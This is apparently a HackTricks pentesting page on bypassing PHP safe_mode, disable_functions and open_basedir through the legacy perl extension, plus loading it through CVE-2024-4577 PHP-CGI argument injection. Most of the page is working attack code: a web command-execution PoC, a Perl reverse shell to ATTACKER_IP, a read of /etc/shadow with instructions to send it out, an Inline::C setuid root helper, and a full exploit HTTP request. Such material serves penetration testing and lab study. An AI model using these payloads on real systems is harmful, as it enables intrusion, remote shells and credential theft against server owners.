DΛΣMӨП

// HackTricks · Network Services

PHP Perl Extension Safemode Bypass Exploit

PHP Perl Extension Safe_mode Bypass Exploit

Background

The issue tracked as CVE-2007-4596 comes from the legacy perl PHP extension, which embeds a Perl interpreter without enforcing PHP’s safe_mode restrictions. Perl evaluation also operates outside controls such as PHP’s disable_functions and open_basedir, so a loaded extension can expose command and filesystem primitives that PHP attempted to restrict. safe_mode disappeared in PHP 5.4; this technique is relevant primarily to old shared-hosting installations and deliberately vulnerable labs.[1][2]

Compatibility and Packaging Status

  • The last PECL release (perl-1.0.1, 2013) declares PHP 5.0 or newer, but the package is unmaintained and its source targets the PHP 5-era Zend API. PHP 7/8 generally require an unofficial port and an exact ABI build; the version string alone does not establish compatibility.[2]
  • PECL is being superseded by PIE, but legacy stacks still ship PECL/PEAR.[4] Treat the flow below as a PHP 5 lab recipe unless a target already contains a compatible extension.

Building a Testable Environment in 2025

  • Fetch perl-1.0.1 from PECL, compile it for the PHP branch you plan to attack, and load it globally (php.ini) or via dl() (if permitted).
  • Legacy Debian-based lab recipe (requires an archive or third-party repository that still provides PHP 5.6 packages): 
    sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • During an authorized test, confirm availability with var_dump(extension_loaded('perl')); or print_r(get_loaded_extensions());. If absent, search for a correctly built perl.so and writable system-level PHP configuration. The extension directive is php.ini-only and cannot be set in .user.ini.[8]
  • Because the interpreter lives inside the PHP worker, Perl code does not need /usr/bin/perl or PHP process-launching functions. Operating-system permissions, mandatory access controls, and network-egress filtering still apply.

On-host build chain with shell and compiler access

If phpize, a compiler toolchain, Perl development headers, and shell execution are available, you can build a matching perl.so on the host:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config="$(command -v php-config)"
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# loading requires a writable php.ini/scanned system INI or control of CGI arguments/service config

The module must match PHP’s API, architecture, thread-safety mode, and linked Perl ABI. open_basedir is not a substitute for controlling extension loading, but an attacker still needs a configuration or process-start primitive that accepts extension=. The compilation flow mirrors the PHP manual for building PECL extensions.[3][8]

Original PoC (NetJackal)

The original NetJackal PoC remains useful for confirming that the legacy extension responds to eval:[1][7]

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Modern Payload Enhancements

1. Reverse shell over TCP

The embedded interpreter can load IO::Socket even if /usr/bin/perl is blocked. This provides a basic interactive shell over pipes, not a fully allocated terminal/PTY:[2]

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape Even with open_basedir

Perl ignores PHP’s open_basedir, so you can read arbitrary files:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Pipe the output through IO::Socket::INET or Net::HTTP to exfiltrate data without touching PHP-managed descriptors.

3. Inline native helper compilation

If Inline::C, a compiler, writable build directories, and headers exist, Perl can compile native helpers without PHP’s ffi or pcntl. This does not inherently escalate privileges: setuid(0) succeeds only if the worker already has that privilege or a separate local privilege-escalation condition exists.

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Treat embedded Perl as a living-off-the-land interpreter. For example, DBI can enumerate data sources exposed by an installed MySQL driver even if PHP’s mysqli extension is missing:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

2024+ Abuse: Loading perl.so via PHP-CGI Argument Injection (CVE-2024-4577)

On vulnerable Windows installations that expose PHP-CGI, CVE-2024-4577 can convert a soft hyphen to a command-line hyphen under affected Windows best-fit locales, allowing injected -d options. If—and only if—the attacker already has an ABI-, architecture-, and thread-safety-compatible Windows Perl extension DLL, this can load it even when dl() is disabled and php.ini is read-only.[5]

  • Build or upload a compatible Windows extension DLL (for example, C:\xampp\htdocs\temp\php_perl.dll). PECL does not provide a current drop-in DLL, making this prerequisite uncommon.
  • Send a single HTTP request that injects -d extension=C:\\xampp\\htdocs\\temp\\perl.dll and, in the same request body, a Perl-backed payload:
POST /?%ADd+extension=C:\\xampp\\htdocs\\temp\\php_perl.dll+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

<?php $p=new perl(); $p->eval("system('whoami && hostname')"); ?>

If the DLL loads, the PHP worker embeds Perl before evaluating the request body, exposing the same out-of-policy Perl primitives. The initial fix shipped in PHP 8.1.29/8.2.20/8.3.8, and a later bypass was addressed as CVE-2024-8926 in PHP 8.1.30/8.2.24/8.3.12; defenders should run a currently supported, fully updated PHP release rather than stopping at the first fixed version.[6][9]

References